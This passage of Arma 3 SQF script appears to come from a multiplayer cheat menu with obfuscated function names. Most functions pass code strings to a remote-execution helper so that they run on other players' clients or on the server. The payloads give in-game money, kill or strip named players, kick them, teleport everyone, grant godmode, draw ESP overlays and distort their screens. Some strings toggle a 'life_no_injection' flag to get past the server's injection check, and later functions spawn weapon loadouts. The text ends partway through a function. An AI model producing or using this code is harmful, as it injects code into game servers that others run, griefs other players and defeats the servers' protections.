- _l2633 = _this select 0;
- hint format["Money Given to %1", _l2633];
- _l97 = format["if(!isNil 'life_no_injection') then {life_no_injection = true;};life_cash = life_cash + 500000;if(!isNil 'life_no_injection') then {life_no_injection = false;};", _l2633];
- [_l97] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_Cash_5mill_t = {
- _l2633 = _this select 0;
- hint format["Money Given to %1", _l2633];
- _l97 = format["if(!isNil 'life_no_injection') then {life_no_injection = true;};life_cash = life_cash + 1000000;if(!isNil 'life_no_injection') then {life_no_injection = false;};", _l2633];
- [_l97] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_heal_t = {
- _l2633 = _this select 0;
- if (!(isNil "Dayz_GUI_R") or!(isNil "dayz_originalPlayer")) then {
- _l100 = format["if(name player=='%1')then{r_player_handler=false;r_player_handler1=false;r_player_dead=false;r_player_unconscious=false;r_player_infected=false;r_player_injured=false;r_player_inpain=false;r_player_loaded=false;r_player_cardiac=false;r_fracture_legs=false;r_fracture_arms=false;r_player_blood=12000;r_player_lowblood=false;r_player_timeout=0;r_handlerCount=0;dayz_hunger=0;dayz_thirst=0;dayz_temperatur=42;player setDamage 0;vehicle player setDamage 0;};", _l2633];
- [_l100] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- } else {
- _l100 = format["if(name player=='%1')then{player setDamage 0;vehicle player setDamage 0;};", _l2633];
- [_l100] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- hint format["Healing %1", _l2633];
- cutText[format["Healing %1", _l2633], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_E5P_t = {
- _l2633 = _this select 0;
- _dist = 1000;
- if (isNil "NNNN_IGGG___EEEEEEE_initarr3") then {
- NNNN_IGGG___EEEEEEE_initarr3 = true;
- NNNN_IGGG___EEEEEEE_enamearr = [];
- };
- if !(_l2633 in NNNN_IGGG___EEEEEEE_enamearr) then {
- hint format["E5P on %1 Activated", _l2633];
- NNNN_IGGG___EEEEEEE_enamearr = NNNN_IGGG___EEEEEEE_enamearr + [_l2633];
- } else {
- hint format["E5P on %1 Deactivated", _l2633];
- NNNN_IGGG___EEEEEEE_enamearr = NNNN_IGGG___EEEEEEE_enamearr - [_l2633];
- };
- _NNNN_IGGG___EEEEEEE_E5PfncCC = format["if (name player == ""%1"") then{[] spawn{if !(isNil ""NNNN_IGGG___EEEEEEE_E5PfncCC"") exitWith {NNNN_IGGG___EEEEEEE_ptagsSS = false; NNNN_IGGG___EEEEEEE_E5PfncCC = nil;};NNNN_IGGG___EEEEEEE_E5PfncCC ={disableSerialization;if (isNil ""BIS_fnc_3dCredits_n"") then {BIS_fnc_3dCredits_n = 2733;};BIS_fnc_3dCredits_n cutRsc [""rscDynamicText"", ""PLAIN""];BIS_fnc_3dCredits_n = BIS_fnc_3dCredits_n + 1;_ctrl = ((uiNamespace getvariable ""BIS_dynamicText"") displayctrl 9999);_ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;_unit = _this select 0;while {(alive _unit) && ((player distance _unit) < %2)} do{if !(NNNN_IGGG___EEEEEEE_ptagsSS) exitWith {};_pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2]; _pos2D = worldToScreen _pos;if (count _pos2D > 0) then {_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];_text = parseText (""<t size='0.35' color='#FF0000'>""+(name _unit)+""(""+(str(round (player distance _unit)))+""m)</t>"");_ctrl ctrlSetStructuredText _text;_ctrl ctrlCommit 0; };};_ctrl ctrlShow false;_ctrl ctrlEnable false;};};};", _l2633, _dist];
- [_NNNN_IGGG___EEEEEEE_E5PfncCC] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- sleep 3;
- _E5Prun = format["if (name player == ""%1"") then{[] spawn{_a = [];if !(isNil ""NNNN_IGGG___EEEEEEE_ptagsSS"") exitWith {NNNN_IGGG___EEEEEEE_ptagsSS = nil;};NNNN_IGGG___EEEEEEE_ptagsSS = true;while {NNNN_IGGG___EEEEEEE_ptagsSS} do{_count = count ((position player) nearEntities [[""CAManBase""], %2]);{if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((player distance _x) > %2))) then {_a = _a - [_x];}; if ((_x != player) && (getPlayerUID _x != """") && (name _x != """") && !(_x in _a) && ((player distance _x) < %2)) then{_a = _a + [_x];[_x] spawn NNNN_IGGG___EEEEEEE_E5PfncCC;sleep 1;};} forEach playableUnits;waitUntil {_count != count ((positionplayer) nearEntities [[""CAManBase""], %2])};};};};", _l2633, _dist];
- [_E5Prun] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_FuckUp_t = {
- _l2633 = _this select 0;
- _l101 = format["if(name player=='%1')then{startLoadingScreen['You Got Fucked Up'];removeAllWeapons player;removeAllItems player;removeBackpack player;0 fadeSound 0;_l42=player;_l42 setDamage 1;for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};", _l2633];
- [_l101] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint format["%1 Fucked UP", _l2633];
- cutText[format["%1 Fucked UP", _l2633], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_Kick_t = {
- _l2633 = _this select 0;
- _l102 = format["if(name player=='%1')then{failMission'LOSER';0 fadeSound 0;for'_l39'from 0 to 100 do{(findDisplay _l39)closeDisplay 0;};};", _l2633];
- [_l102] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint format["%1 Kicked", _l2633];
- cutText[format["%1 Kicked", _l2633], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_Explode_t = {
- _l104 = _this select 0;
- _l105 = playableUnits;
- j = count _l105;
- i = 0;
- _l67 = [];
- for "i"
- from 0 to j do {
- v = _l105 select i;
- if (format[name v] == _l104) then {
- _l42 = v;
- _l42 = (vehicle _l42);
- _l2632 = "HelicopterExploSmall"
- createvehiclelocal(getPos _l42);
- cutText[format["Exploded %1", name _l42], "PLAIN DOWN"];
- };
- };
- };
- NNNN_IGGG___EEEEEEE_Kill_t = {
- _l2633 = _this select 0;
- hint format["Killing %1", _l2633];
- _l106 = format["if(name player=='%1')then{if(alive player)then{player SetDamage 1;};};", _l2633];
- [_l106] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_TpToMe_t = {
- _l2633 = _this select 0; {
- if (name _x == _l2633) then {
- _pos = getPosATL vehicle _x;
- _l5 = getDir vehicle _x;
- if (player != vehicle player) then {
- _pos = [(_pos select 0) - 8 * sin(_l5), (_pos select 1) - 8 * cos(_l5), (_pos select 2) + 1];
- } else {
- _pos = [(_pos select 0) - 2 * sin(_l5), (_pos select 1) - 2 * cos(_l5), (_pos select 2) + 1];
- };
- if (!isNil("dayz_instance")) then {
- "reS_P_A_W_N_west"
- setMarkerPos _pos;
- };
- vehicle player setPosATL _pos;
- if (!isNil("dayz_instance")) then {
- "reS_P_A_W_N_west"
- setMarkerPos _pos;
- };
- vehicle player setDir _l5;
- };
- }
- forEach playableUnits;
- hint format["TP to %1", _l2633];
- cutText[format["TP to %1", _l2633], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_TpToThem_t = {
- _l2633 = _this select 0;
- _pos = getPosATL player;
- hint format["Teleporting %1", _l2633];
- _l107 = format["if(isServer)then{{if(name _x=='%1')then{(vehicle _x)setPos[(%2 select 0)+random 15,(%2 select 1)+random 15,%2 select 2];};}forEach playableUnits;};", _l2633, _pos];
- [_l107] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_Spectate_t = {
- _l2633 = _this select 0; {
- if (name _x == _l2633) then {
- _x switchCamera "EXTERNAL";
- hint format["Spectating %1,press F10 to cancel", name _x];
- };
- }
- forEach entities "CAManBase";
- (findDisplay 46) displayAddEventHandler['KeyDown', 'if((_this select 1)==0x44)then{player switchCamera"EXTERNAL";}'];
- };
- NNNN_IGGG___EEEEEEE_JesusMode_t = {
- _l2633 = _this select 0;
- if (isNil "NNNN_IGGG___EEEEEEE_initarr44") then {
- NNNN_IGGG___EEEEEEE_initarr44 = true;
- NNNN_IGGG___EEEEEEE_gnamearr44 = [];
- };
- if !(_name in NNNN_IGGG___EEEEEEE_gnamearr44) then {
- hint format["Jesus Mode on %1 Activated", _name];
- NNNN_IGGG___EEEEEEE_gnamearr44 = NNNN_IGGG___EEEEEEE_gnamearr44 + [_name];
- } else {
- hint format["Jesus Mode on %1 Deactivated", _name];
- NNNN_IGGG___EEEEEEE_gnamearr44 = NNNN_IGGG___EEEEEEE_gnamearr44 - [_name];
- };
- _tJesus = format["if (name player == '%1') then
- {
- if (isNil 'NNNN_IGGG___EEEEEEE_gmdlol') then
- {
- NNNN_IGGG___EEEEEEE_gmdlol = true;
- player removeAllEventHandlers 'handleDamage';
- player addEventHandler ['handleDamage', {false}];
- player allowDamage false;
- }
- else
- {
- player addEventHandler ['handleDamage', {true}];
- player removeAllEventHandlers 'handleDamage';
- player allowDamage true;
- NNNN_IGGG___EEEEEEE_gmdlol = nil;
- };
- };", _name];
- [_tJesus] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_Remove_VF_t = {
- _l2633 = _this select 0;
- _l2634 = format["if(name player=='%1')then{ppEffectDestroy ppColor;ppEffectDestroy ppBlur;ppEffectDestroy ppInversion;ppEffectDestroy ppGrain;ppEffectDestroy nonapsi_ef;ppEffectDestroy nonapsi_ef2;deletevehicle snow;deletevehicle ps;ppEffectDestroy ppe;ppEffectDestroy ppe2;ppEffectDestroy NNNN_IGGG___EEEEEEE_ppe33;ppEffectDestroy wetdist1;setaperture 0;""dynamicBlur""ppEffectAdjust[0];""dynamicBlur""ppEffectCommit 16;""colorCorrections""ppEffectAdjust[1,1,0,[1,1,1,0.0],[1,1,1,1],[1,1,1,0.0]];""colorCorrections""ppEffectCommit 0;};", _l2633];
- [_l2634] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint format["executed on %1", _l2633];
- cutText[format["executed on %1", _l2633], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_BlackNWhite_VF_t = {
- _l2633 = _this select 0;
- _l2634 = format["if(name player=='%1')then{setaperture 24;ppColor=ppEffectCreate[""ColorCorrections"",1999];ppColor ppEffectEnable true;ppColor ppEffectAdjust[1,1,0,[1,1,1,0],[1,1,1,0.0],[1,1,1,1.0]];ppColor ppEffectCommit 0;ppBlur=ppEffectCreate[""dynamicBlur"",505];ppBlur ppEffectEnable true;ppBlur ppEffectAdjust[.5];ppBlur ppEffectCommit 0;ppInversion=ppEffectCreate['colorInversion',2555];ppInversion ppEffectEnable true;ppInversion ppEffectAdjust[1,1,1];ppInversion ppEffectCommit0;ppGrain=ppEffectCreate[""filmGrain"",2005];ppGrain ppEffectEnable true;ppGrain ppEffectAdjust[0.02,1,1,0,1];ppGrain ppEffectCommit 0;};", _l2633];
- [_l2634] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint format["executed on %1", _l2633];
- cutText[format["executed on %1", _l2633], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_Spiderman_VF_t = {
- _l2633 = _this select 0;
- _l2634 = format["if(name player=='%1')then{ppe=ppEffectCreate[""colorCorrections"",1555];ppe ppEffectAdjust[1,1,0,[1.5,-1,-1.5,0.5],[5,3.5,-5,-0.5],[-3,5,-5,-0.5]];ppe ppEffectCommit 1;ppe ppEffectEnable true;ppe2=ppEffectCreate[""chromAberration"",1555];ppe2 ppEffectAdjust[0.01,0.01,true];ppe2 ppEffectCommit 1;ppe2 ppEffectEnable true;NNNN_IGGG___EEEEEEE_ppe33=ppEffectCreate[""radialBlur"",1555];NNNN_IGGG___EEEEEEE_ppe33 ppEffectEnable true;NNNN_IGGG___EEEEEEE_ppe33 ppEffectAdjust[0.02,0.02,0.15,0.15];NNNN_IGGG___EEEEEEE_ppe33 ppEffectCommit 1;};", _l2633];[_l2634] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint format["executed on %1", _l2633];
- cutText[format["executed on %1", _l2633], "PLAIN DOWN"];
- };
- };
- ['All'] call {
- NNNN_IGGG___EEEEEEE_TimeD = {
- NNNN_IGGG___EEEEEEE_toRE_cus = "if(isServer) then {while {true} do {setDate [2012, 9, 1, 13, 0];sleep 30;};};";
- [NNNN_IGGG___EEEEEEE_toRE_cus] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint "Time: Day (Please Wait)";
- };
- NNNN_IGGG___EEEEEEE_TimeN = {
- NNNN_IGGG___EEEEEEE_toRE_cuss = "if(isServer) then {while {true} do {setDate [2012, 9, 1, 23, 0];sleep 30;};};";
- [NNNN_IGGG___EEEEEEE_toRE_cuss] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint "Time: Night (Please Wait)";
- };
- NNNN_IGGG___EEEEEEE_NNNN_IGGG___EEEEEEE_aE5Pj = {
- if (isNil "NNNN_IGGG___EEEEEEE_aE5Pj") then {
- NNNN_IGGG___EEEEEEE_aE5Pj = 0;
- };
- if (NNNN_IGGG___EEEEEEE_aE5Pj == 0) then {
- NNNN_IGGG___EEEEEEE_aE5Pj = 1;
- hint "E5P Enabled";
- _dist = 1000;
- _NNNN_IGGG___EEEEEEE_aE5Pjfnc = format["if !(isServer) then{[] spawn{NNNN_IGGG___EEEEEEE_aE5Pjfnc ={disableSerialization;if (isNil ""BIS_fnc_3dCredits_n"") then {BIS_fnc_3dCredits_n = 2733;}; BIS_fnc_3dCredits_n cutRsc [""rscDynamicText"", ""PLAIN""];BIS_fnc_3dCredits_n = BIS_fnc_3dCredits_n + 1;_ctrl = ((uiNamespace getvariable ""BIS_dynamicText"") displayctrl 9999);_ctrl ctrlShow true; _ctrl ctrlEnable true; _ctrl ctrlSetFade 0;_unit = _this select 0;while {(alive _unit) && ((player distance _unit) < %1)} do{if !(aNNNN_IGGG___EEEEEEE_ptagsSS) exitWith {};_pos = [(getPosATL _unit) select 0, (getPosATL _unit) select 1, ((getPosATL _unit) select 2) + 2];_pos2D = worldToScreen _pos;if (count _pos2D > 0) then{_ctrl ctrlSetPosition [(_pos2D select 0) - (safezoneW / 2), (_pos2D select 1), safezoneW, safezoneH];_text = parseText (""<t size='0.35' color='#FF1AAA'>""+(name _unit)+""(""+(str(round (player distance _unit)))+""m)</t>"");_ctrl ctrlSetStructuredText _text;_ctrl ctrlCommit 0;};};_ctrl ctrlShow false;_ctrl ctrlEnable false;};};};", _dist];
- [_NNNN_IGGG___EEEEEEE_aE5Pjfnc] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- sleep 3;
- _E5Prun = format["if !(isServer) then {[] spawn{_a = [];aNNNN_IGGG___EEEEEEE_ptagsSS = true;while {aNNNN_IGGG___EEEEEEE_ptagsSS} do{_count = count ((position player) nearEntities [[""CAManBase""], %1]);{if (((_x in _a) && !(alive _x)) or ((_x in _a) && ((player distance _x) > %1))) then {_a = _a - [_x];};if ((_x != player) && (getPlayerUID _x != """") && (name _x != """") && !(_x in _a) && ((player distance _x) < %1)) then{_a = _a + [_x];[_x] spawn NNNN_IGGG___EEEEEEE_aE5Pjfnc;sleep 1;};} forEach playableUnits;waitUntil {_count != count ((position player) nearEntities [[""CAManBase""], %1])};};};};", _dist];
- [_E5Prun] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- } else {
- NNNN_IGGG___EEEEEEE_aE5Pj = 0;
- hint "E5P Disabled";
- _NNNN_IGGG___EEEEEEE_aE5Pj = "aNNNN_IGGG___EEEEEEE_ptagsSS = false;";
- [_NNNN_IGGG___EEEEEEE_aE5Pj] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- };
- NNNN_IGGG___EEEEEEE_joinvehicle = {
- _list = [getplayeruid player];
- _eject1 = format["if !(getPlayerUID player in %1) then{player action [""eject"", vehicle player];};", _list];
- [_eject1] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- sleep 1; {
- _x action["getInCargo", vehicle player];
- }
- forEach playableUnits;
- titleText["All Aboard", "PLAIN DOWN"];
- titlefadeout 3;
- };
- NNNN_IGGG___EEEEEEE_TPAll_a = {
- _pos = getPosATL player;
- _l107 = format["if(isServer)then{{(vehicle _x)setPos[(%1 select 0)+random 5,(%1 select 1)+random 5,%1 select 2];}forEach playableUnits;};", _pos];
- [_l107] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_JesuseMode_a = {
- _l34 = call NNNN_IGGG___EEEEEEE_List;
- hint "Jesus Mode on all enabled";
- _l109 = format["if!(getPlayerUID player in %1)then{player removeAllEventHandlers'handleDamage';player addEventHandler['handleDamage',{false}];player allowDamage false;};", _l34];
- while {
- Jesusall == 1
- }
- do {
- [_l109] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- sleep 30;
- };
- };
- NNNN_IGGG___EEEEEEE_JesuseModeOff_a = {
- _l34 = call NNNN_IGGG___EEEEEEE_List;
- hint "Jesus Mode on all disabled";
- _l109 = format["if!(getPlayerUID player in %1)then{player addEventHandler['handleDamage',{true}];player removeAllEventHandlers'handleDamage';player allowDamage true;};", _l34];
- [_l109] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- };
- NNNN_IGGG___EEEEEEE_Remove_VF_a = {
- _l2634 = format["ppEffectDestroy ppColor;ppEffectDestroy ppBlur;ppEffectDestroy ppInversion;ppEffectDestroy ppGrain;ppEffectDestroy nonapsi_ef;ppEffectDestroy nonapsi_ef2;deletevehicle snow;deletevehicle ps;ppEffectDestroy ppe;ppEffectDestroy ppe2;ppEffectDestroy NNNN_IGGG___EEEEEEE_ppe33;ppEffectDestroy wetdist1;setaperture0;""dynamicBlur""ppEffectAdjust[0];""dynamicBlur""ppEffectCommit 16;""colorCorrections""ppEffectAdjust[1,1,0,[1,1,1,0.0],[1,1,1,1],[1,1,1,0.0]];""colorCorrections""ppEffectCommit 0;"];
- [_l2634] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint format["executed on all"];
- cutText[format["executed on all"], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_BlackNWhite_VF_a = {
- _l2634 = format["setaperture 24;ppColor=ppEffectCreate[""ColorCorrections"",1999];ppColor ppEffectEnable true;ppColor ppEffectAdjust[1,1,0,[1,1,1,0],[1,1,1,0.0],[1,1,1,1.0]];ppColor ppEffectCommit 0;ppBlur=ppEffectCreate[""dynamicBlur"",505];ppBlur ppEffectEnable true;ppBlur ppEffectAdjust[.5];ppBlur ppEffectCommit 0;ppInversion=ppEffectCreate['colorInversion',2555];ppInversion ppEffectEnable true;ppInversion ppEffectAdjust[1,1,1];ppInversion ppEffectCommit 0;ppGrain=ppEffectCreate[""filmGrain"",2005];ppGrain ppEffectEnable true;ppGrain ppEffectAdjust[0.02,1,1,0,1];ppGrain ppEffectCommit 0;"];
- [_l2634] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint format["executed on all"];
- cutText[format["executed on all"], "PLAIN DOWN"];
- };
- NNNN_IGGG___EEEEEEE_Spiderman_VF_a = {
- _l2634 = format["ppe=ppEffectCreate[""colorCorrections"",1555];ppe ppEffectAdjust[1,1,0,[1.5,-1,-1.5,0.5],[5,3.5,-5,-0.5],[-3,5,-5,-0.5]];ppe ppEffectCommit 1;ppe ppEffectEnable true;ppe2=ppEffectCreate[""chromAberration"",1555];ppe2 ppEffectAdjust[0.01,0.01,true];ppe2 ppEffectCommit 1;ppe2 ppEffectEnable true;NNNN_IGGG___EEEEEEE_ppe33=ppEffectCreate[""radialBlur"",1555];NNNN_IGGG___EEEEEEE_ppe33 ppEffectEnable true;NNNN_IGGG___EEEEEEE_ppe33 ppEffectAdjust[0.02,0.02,0.15,0.15];NNNN_IGGG___EEEEEEE_ppe33 ppEffectCommit 1;"];
- [_l2634] call NNNN_IGGG___EEEEEEE_LLYYSSTTIICCC_SHIT_RE;
- hint format["executed on all"];
- cutText[format["executed on all"], "PLAIN DOWN"];
- };
- };
- ['Loadouts'] call {
- NNNN_IGGG___EEEEEEE_PDWP = {
- [] spawn {
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_OrestesBody";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_PDW2000_Holo_snds_F";
- _wset addMagazine "6Rnd_45ACP_Cylinder";
- _wset addweapon "hgun_Pistol_heavy_02_Yorris_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "muzzle_snds_B";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo["FirstAidKit", 2];
- (unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo["6Rnd_45ACP_Cylinder", 9];
- (unitBackpack _wset) additemCargo["handGrenade", 2];
- (unitBackpack _wset) additemCargo["NLAW_F", 2];
- hint "PDW Loadout";
- };
- };
- NNNN_IGGG___EEEEEEE_LRRP = {
- [] spawn {
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_O_CombatUniform_oucamo";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_oucamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "7Rnd_408_Mag";
- _wset addweapon "srifle_LRR_LRPS_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_snds_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo["FirstAidKit", 2];
- (unitBackpack _wset) additemCargo["7Rnd_408_Mag", 9];
- (unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo["handGrenade", 2];
- (unitBackpack _wset) additemCargo["NLAW_F", 2];
- hint "fuck yeah";
- };
- };
- NNNN_IGGG___EEEEEEE_DMRP = {
- [] spawn {
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_O_GhillieSuit";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "10Rnd_762x51_Mag";
- _wset addweapon "srifle_DMR_01_DMS_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_snds_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo["FirstAidKit", 2];
- (unitBackpack _wset) additemCargo["10Rnd_762x51_Mag", 9];
- (unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo["handGrenade", 2];
- (unitBackpack _wset) additemCargo["NLAW_F", 2];
- hint "DMR Loadout";
- };
- };
- NNNN_IGGG___EEEEEEE_HEAVYP = {
- [] spawn {
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_OG_leader";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "150Rnd_762x51_Box_Tracer";
- _wset addweapon "LMG_Zafir_pointer_F";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "optic_LRPS";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_snds_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo["FirstAidKit", 2];
- (unitBackpack _wset) additemCargo["150Rnd_762x51_Box_Tracer", 9];
- (unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo["handGrenade", 2];
- (unitBackpack _wset) additemCargo["NLAW_F", 2];
- hint "Light Machine Gun Loadout";
- };
- };
- NNNN_IGGG___EEEEEEE_EBRP = {
- [] spawn {
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_O_GhillieSuit";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "20rnd_762x51_mag";
- _wset addweapon "srifle_ebr_f";
- _wset addMagazine "30Rnd_9x21_Mag";
- _wset addweapon "hgun_P07_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "optic_sos";
- _wset addPrimaryWeaponItem "muzzle_snds_B";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addHandgunItem "muzzle_snds_L";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo["FirstAidKit", 2];
- (unitBackpack _wset) additemCargo["20rnd_762x51_mag", 9];
- (unitBackpack _wset) additemCargo["30Rnd_9x21_Mag", 9];
- (unitBackpack _wset) additemCargo["handGrenade", 2];
- (unitBackpack _wset) additemCargo["NLAW_F", 2];
- hint "EBR Loadout";
- };
- };
- NNNN_IGGG___EEEEEEE_MXMP = {
- [] spawn {
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
- _wset addHeadgear "H_Beret_02";
- _wset addGoggles "G_Sport_Blackred";
- _wset addUniform "U_IG_Guerilla3_1";
- _wset addVest "V_BandollierB_cbr";
- _wset addBackpack "B_Carryall_ocamo";
- _wset addWeapon "NVGoggles";
- _wset addWeapon "Rangefinder";
- _wset addMagazine "30Rnd_65x39_caseless_mag_Tracer";
- _wset addweapon "arifle_MXM_Black_F";
- _wset addMagazine "11Rnd_45ACP_Mag";
- _wset addweapon "hgun_Pistol_heavy_01_MRD_F";
- _wset addMagazine "NLAW_F";
- _wset addweapon "launch_NLAW_F";
- _wset addPrimaryWeaponItem "optic_MRCO";
- _wset addPrimaryWeaponItem "muzzle_snds_M";
- _wset addPrimaryWeaponItem "acc_pointer_IR";
- _wset addWeaponGlobal "ItemCompass";
- _wset addWeaponGlobal "ItemMap";
- _wset addWeaponGlobal "Itemgps";
- _wset addWeaponGlobal "ItemWatch";
- _wset addWeaponGlobal "itemradio";
- (unitBackpack _wset) additemCargo["FirstAidKit", 2];
- (unitBackpack _wset) additemCargo["30Rnd_65x39_caseless_mag_Tracer", 9];
- (unitBackpack _wset) additemCargo["11Rnd_45ACP_Mag", 9];
- (unitBackpack _wset) additemCargo["handGrenade", 2];
- (unitBackpack _wset) additemCargo["NLAW_F", 2];
- hint "MXM Loadout";
- };
- };
- NNNN_IGGG___EEEEEEE_TRGP = {
- [] spawn {
- _wset = player;
- removeAllWeapons _wset;
- removeAllItems _wset;
- removebackpack _wset;
- removeAllAssignedItems _wset;
